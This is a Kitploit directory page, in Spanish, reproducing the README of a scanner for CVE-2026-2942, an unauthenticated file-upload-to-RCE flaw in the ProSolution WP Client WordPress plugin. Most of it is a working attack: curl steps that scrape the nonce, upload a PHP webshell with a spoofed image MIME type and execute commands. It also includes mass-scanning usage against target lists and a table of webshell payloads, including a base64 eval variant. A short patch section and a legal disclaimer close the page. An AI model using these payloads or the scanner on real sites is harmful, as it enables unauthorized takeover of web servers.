Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-2942 — Escáner automatizado para carga arbitraria de archivos no autenticada y ejecución remota de código en ProSolution WP Client (CVE-2026-2942). Soporta escaneo multihilo, suplantación de tipo MIME, verificación de shell y soporte de proxy para pruebas de penetración. | Kitploit
Herramientas/GitHubGitHub/xxconi/cve-2026-2942
Escáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubxxconi/cve-2026-2942

CVE-2026-2942

Escáner automatizado para carga arbitraria de archivos no autenticada y ejecución remota de código en ProSolution WP Client (CVE-2026-2942). Soporta escaneo multihilo, suplantación de tipo MIME, verificación de shell y soporte de proxy para pruebas de penetración.

Ver Repositorio
hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

ProSolution WP Client — Escáner de Subida de Archivos No Autenticada y RCE

Plugin: prosolution-wp-client
Versión Afectada: <= 1.9.9
Tipo de Vulnerabilidad: Subida de Archivos Arbitraria No Autenticada → Ejecución Remota de Código
Nivel de Riesgo: 🔴 Crítico (CVSS 9.8)
Requisito: Página pública que contiene el shortcode [prosolfrontend]


📌 Acerca de la Vulnerabilidad

La acción AJAX proSol_fileUploadProcess del plugin ProSolution WP Client controla el tipo MIME de los archivos subidos pero no valida la extensión. Un atacante puede enviar un archivo con extensión .php con tipo MIME image/jpeg para subir una webshell al servidor sin autenticación.

Cadena de Ataque

root@kitploit:~
[prosolfrontend] shortcode sayfası
        │
        ▼
1. prosolObj.nonce → public sayfadan çekilir (kimlik doğrulama gerekmez)
        │
        ▼
2. POST /wp-admin/admin-ajax.php
   action=proSol_fileUploadProcess
   security=<nonce>
   files[]=shell.php  (Content-Type: image/jpeg)  ← MIME Spoofing
        │
        ▼
3. /wp-content/uploads/prosolwpclient/[random].php olarak kaydedilir
        │
        ▼
4. GET /wp-content/uploads/prosolwpclient/[random].php?cmd=id
        │
        ▼
5. uid=33(www-data) → Unauthenticated RCE ✓

🧪 Prueba de Concepto (Manual)

⚠️ Aviso: Esta PoC se proporciona únicamente con fines educativos y de investigación de seguridad defensiva. Úsela solo contra sistemas que posea o para los que tenga autorización explícita por escrito para probar.

Requisitos Previos

  • WordPress instalado y plugin prosolution-wp-client activo (versión <= 1.9.9)
  • Una página de WordPress publicada que contenga el shortcode [prosolfrontend]

Paso 1 — Obtener el Nonce

Visite cualquier página pública que contenga el shortcode [prosolfrontend] y extraiga el valor de prosolObj.nonce del código fuente:

root@kitploit:~
TARGET="https://target.example.com"

NONCE=$(curl -s "$TARGET/jobs" \
  | grep -oP '"nonce"\s*:\s*"\K[^"]+')

echo "Extracted nonce: $NONCE"

Estructura a buscar en el código fuente:

root@kitploit:~
<script id='prosolwpclient-public-js-extra'>
var prosolObj = {
    "ajaxurl": "https://target.example.com/wp-admin/admin-ajax.php",
    "nonce": "a1b2c3d4e5",
    ...
};
</script>

Paso 2 — Crear la Webshell PHP

root@kitploit:~
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php

Paso 3 — Subir con Suplantación MIME

Envíe el archivo .php con Content-Type image/jpeg:

root@kitploit:~
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -F "action=proSol_fileUploadProcess" \
  -F "security=$NONCE" \
  -F "files[]=@/tmp/shell.php;type=image/jpeg" \
  | python3 -m json.tool

Respuesta esperada:

root@kitploit:~
{
  "files": [
    {
      "name": "shell.php",
      "size": 31,
      "url": "https://target.example.com/wp-content/uploads/prosolwpclient/shell.php",
      "newfilename": "a3f8b2c1d9e4f7g2.php",
      "rename_status": true,
      "extension": "php"
    }
  ]
}

"extension": "php" y "rename_status": true → el archivo .php se guardó correctamente.


Paso 4 — Activar RCE

root@kitploit:~
SHELL_FILE="a3f8b2c1d9e4f7g2.php"   # newfilename del Paso 3

curl -s "$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id"

Salida esperada:

root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)

✅ RCE no autenticado conseguido.


🛠️ Instalación del Escáner Automático

root@kitploit:~
git clone https://github.com/kullanici/prosol-upload-scanner
cd prosol-upload-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 Uso

Objetivo Único

root@kitploit:~
python prosol_upload.py -u http://hedef.com

Con Verificación de Shell

root@kitploit:~
python prosol_upload.py -u http://hedef.com --verify --verify-cmd "whoami"

Escaneo en Lote

root@kitploit:~
python prosol_upload.py -l targets.txt -t 20 -o sonuclar.txt

Con Proxy (Burp Suite)

root@kitploit:~
python prosol_upload.py -u http://hedef.com --proxy http://127.0.0.1:8080

Tipo de Shell Personalizado

root@kitploit:~
python prosol_upload.py -u http://hedef.com --shell-type full

⚙️ Parámetros


💀 Tipos de Shell


📂 Ubicación de Subida de Shell

root@kitploit:~
WordPress Kök/
└── wp-content/
    └── uploads/
        └── prosolwpclient/
            └── [random_hex].php   ← Shell burada

📊 Estados de Salida del Escáner


🖥️ Ejemplo de Salida del Escáner

root@kitploit:~
[*] 3 hedef | ProSolution File Upload | threads=10

[★ UPLOADED ] http://hedef1.com
  Shell URL : http://hedef1.com/wp-content/uploads/prosolwpclient/a3f8b2c1d9.php
  Yeni Ad   : a3f8b2c1d9.php  (renamed=True)
  [✓ RCE OK ] cmd çıktısı: uid=33(www-data) gid=33(www-data)

[- BLOCKED  ] http://hedef2.com  ext=jpeg
[~ TIMEOUT  ] http://hedef3.com

───────────────────────────────────────────────
  UPLOADED            :    1  █
  BLOCKED             :    1  █
  TIMEOUT             :    1  █
───────────────────────────────────────────────
  Yüklenen shell'ler → uploaded.txt
───────────────────────────────────────────────

🛡️ Defensa / Parche

uploads/ dizini için .htaccess:

root@kitploit:~
<FilesMatch "\.php$">
    Deny from all
</FilesMatch>

⚠️ Aviso Legal

Esta herramienta y PoC están preparados únicamente para su uso en sistemas autorizados, con fines educativos y dentro del alcance de pruebas de penetración. Su uso en sistemas no autorizados constituye un delito según los artículos 243-245 del Código Penal Turco y las leyes internacionales de delitos cibernéticos. El desarrollador no acepta ninguna responsabilidad legal derivada del mal uso de la herramienta.


📄 Licencia

Licencia MIT — Solo para fines educativos y de investigación.

Descargar herramienta
ParámetroCortoDescripciónPor Defecto
--url-uURL de objetivo único—
--list-lArchivo de lista de objetivos—
--threads-tNúmero de hilos10
--output-oArchivo de salidauploaded.txt
--shell-name—Nombre del archivo a subirshell.php
--shell-type—Tipo de shellsystem
--verify—Prueba de RCE después de la subidaFalse
--verify-cmd—Comando de verificaciónid
--proxy—URL del proxy—
--timeout—TimeOut de solicitud (seg)10
TipoPayloadDescripción
system<?php system($_GET["cmd"]); ?>Comando básico del sistema
passthru<?php passthru($_GET["cmd"]); ?>Salida sin procesar
exec<?php echo exec($_GET["cmd"]); ?>Ejecución silenciosa
assert<?php assert($_POST["cmd"]); ?>Evaluación con POST
b64<?php eval(base64_decode($_POST["cmd"])); ?>Ofuscación Base64
fullshell_exec + system + exec fallbackShell completo de amplio alcance
EstadoDescripción
★ UPLOADEDShell subida exitosamente
✓ RCE OKShell verificada, comando ejecutado
- BLOCKEDEl servidor bloqueó la extensión PHP
~ TIMEOUTTiempo de espera agotado
~ CONN_ERRError de conexión
! HTTP_ERRCódigo de error HTTP
MedidaImplementación
Bloqueo de ejecución PHPAgregar .htaccess al directorio uploads/
Actualización del pluginActualizar a versión > 1.9.9 o eliminar
Lista blanca de extensionesSolo extensiones permitidas en el lado del servidor
Validación MIMEVerificación del contenido real con finfo_file()
Regla WAFBloquear solicitudes de subida de .php